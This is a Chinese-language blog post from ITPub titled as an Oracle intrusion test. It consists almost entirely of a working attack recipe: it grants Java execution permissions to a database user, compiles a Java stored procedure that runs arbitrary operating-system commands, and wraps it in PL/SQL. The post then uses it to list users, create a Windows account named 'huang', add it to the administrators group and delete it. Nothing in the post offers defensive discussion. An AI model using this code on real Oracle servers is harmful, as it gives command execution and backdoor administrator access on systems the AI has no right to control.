ITPub博客

首页 > 数据库 > Oracle > oracle----入侵oracle测试

oracle----入侵oracle测试

原创 Oracle 作者:hrora 时间:2011-07-20 18:34:07 0 删除 编辑

exec dbms_java.grant_permission( 'FLY', 'SYS:java.io.FilePermission', '<>', 'execute');
grant javasyspriv to fly;


create or replace and compile
java souRCe named "util"
as
import java.io.*;
import java.lang.*;
public class util extends Object
{
public static int RunThis(String args)
{
Runtime rt = Runtime.getRuntime();
int RC = -1;
try
{
Process p = rt.exec(args);
int bufSize = 4096;
BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize);
int len;
byte buffer[] = new byte[bufSize];
// Echo back what the program spit out
while ((len = bis.read(buffer, 0, bufSize)) != -1)
System.out.write(buffer, 0, len);
RC = p.waitFor();
}
catch (Exception e)
{
e.printStackTrace();
RC = -1;
}
finally
{
return RC;
}
}
}


第二步:
create or replace
function RUN_CMz(p_cmd in varchar2) return number
as
language java
name 'util.RunThis(java.lang.String) return integer';

第三步:
create or replace procedure RC(p_cmd in varChar)
as
x number;
begin
x := RUN_CMz(p_cmd);
end;


set serveroutput on
exec dbms_java.set_output(100000);



variable x varchar2(4000);
exec :x := RUN_CMz('net1 user');
exec :x := RUN_CMz('ipconfig');


exec :x := RUN_CMz('net1 user huang huang /add');
exec :x := RUN_CMz('net1 localgroup administrators huang /add');


exec :x := RUN_CMz('net1 user huang /del');

[@more@]

来自 “ ITPUB博客 ” ,链接:https://blog.itpub.net/26078027/viewspace-1052778/ ,如需转载,请注明出处,否则将追究法律责任。

请登录后发表评论 登录
全部评论
  • 博文量
    31
  • 访问量
    66067